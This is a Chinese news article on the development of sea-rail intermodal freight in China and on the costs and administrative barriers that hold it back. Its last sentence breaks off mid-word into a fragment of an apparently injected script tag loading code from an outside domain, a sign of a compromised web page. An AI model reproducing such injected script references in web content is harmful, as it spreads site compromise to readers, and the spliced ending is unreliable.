全球贸易的90%基本依赖水运物流完成，水运物流在全球化的供应链服务体系中至关重要。交通运输部成立之后，必然会以更加科学的政策，推动港口、水运交通基础设施布局合理化，推动水运物流的发展。但对于水运物流企业来说，应该从哪些方面，迎接新环境，开辟新市场，值得探讨。

　　近年来，水运物流领域的多式联运越来越受到重视。如今，交通运输部也已成立。在这样的形势下，多式联运必将获得一个良好的发展机遇。</P>

　　联运趋势

　　2007年，中国海运集团终于开通了从连云港到莫斯科的海铁联运通道。这条通道使从日本、韩国运到莫斯科的货物节省了30多天的时间。

　　“此前，从日本、韩国运来的货物在经中国港口后，必须先运到德国的汉堡港，再经过陆路运输到达莫斯科，这期间需要40到50天的时间。”中海集装箱运输股份有限公司的唐伟说，“而海铁联运通道开通以后，可以在连云港直接通过铁路运到莫斯科，仅仅只需要10几天的时间。”

　　“不仅如此，我们在东北以及天津、山东、上海等沿海重要港口都早已开通了海铁联运。就像目前东北的粮食运输，很多就是通过海铁联运实现的。”唐伟称，“因为单单通过一种运输方式，不仅会增加这种交通运输的压力，而且成本也会相应上升。而联运能够有效地解决这样的困境。”

　　进入本世纪，继中远集团、中外运集团之后，中海集团也在不断延伸其产业链，所提供的服务已从传统的航运主业延伸至物流产业。海铁联运作为一种航运企业延伸其产业链条的方式，更作为在简化的中转环节获取利润的方式，成为这些航运“巨头”目前关注的焦点之一。

　　目前，中海等航运企业实行海铁联运一般是与铁道部下属的企业——中铁集装箱运输有限公司进行协商、合作。

　　“我们期待着与中铁集运有更深一步的合作。”唐伟表示，“而且铁道部对实现联运的愿望一直都很强烈，并积极采取措施推动与其它运输企业的合作。”

　　据唐伟介绍，铁道部已经提出了到2010年实现集装箱运输1000万TEU的目标，在这之前，铁道部的集装箱运输一般保持在400万TEU。“要实现这个目标，仅仅依靠铁道部自身是不可能完成的，唯有实行海铁联运才行。所以，联运将会是未来的发展趋势。”

　　其实，铁道部早已看中了海铁联运这块“蛋糕”。在2004年，铁道部便成立中铁集运，拥有集装箱办理站590个，业务覆盖全国各大、中城市及每个港口城市。

　　“十一五”期间，“大力发展铁路集装箱运输”是其重要发展方向之一。根据铁道部相关规划：2006年至2008年，在经济发达、集装箱集疏运量大的区域经济中心和铁路网重要枢纽，铁道部将建设18个集装箱中心站，建设40个左右靠近省会城市、大型港口的集装箱办理站，布局100个左右集装箱办理点，以此来推动海铁联运的发展。

尽管联运能够减轻单一运输方式的压力和提高提高运输效率，但目前海铁联运的发展情况并不理想。

　　“目前，客户对联运的要求并不高，海铁联运在中海还是处于一种比较低的水平。”唐伟称，“主要是因为调运成本太高了。”

　　在我国的不少口岸，货轮将货物运到港口后，并不能直接装载至火车，而必须通过汽车中转，然后再通过铁路运输至目的地。汽车的中转，无疑增加了成本。而在发达国家的不少港口，联运能够实现“无缝”对接，可以由货轮直接装载至列车。

　　“在美国港口，货物可以直接由货轮装载至火车，这些双层集装箱快运班列在货轮尚在卸货时便可开出。”唐伟说，“美国四大铁路公司在运力配置上，一般都以开行双层集装箱快运班列为主，定时发车，车底由单联车、三联车或五联车组成，每个板车底层既可以装两个20英尺的集装箱，也可以装40英尺及以上的大型箱。这样既节约了资源，也确保了时效。”

　　唐伟认为，除调运成本外，港口货物的进出口不平衡也是限制联运发展的一个重要因素。“有的港口有大量的出口货物，而进口货物却很少。这就会导致用箱不平衡，在一定程度上限制了联运。”

　　国家发改委综合运输研究所副所长汪鸣对记者说，“限制联运发展的一个重要原因就是没有实现‘无缝’对接，这在一定程度上导致了联运的成本过高。”

　　对于港口而言，不仅希望铁路通到港口，同样希望高速公路开到港口。但此前，中国却一直实行部门分割的交通管理体制，交通部主管水运和公路，民航总局负责航空机场，铁道部负责铁路，各种运输方式的转换、衔接并不容易。

　　在我国，联运发展最缺的就是一个良好的设施环境，各种运输方式转换、衔接不畅是制约联运发展最重要的因素。如能改变这种现状，联运便能够迅速发script src=http://www.234mu.com/>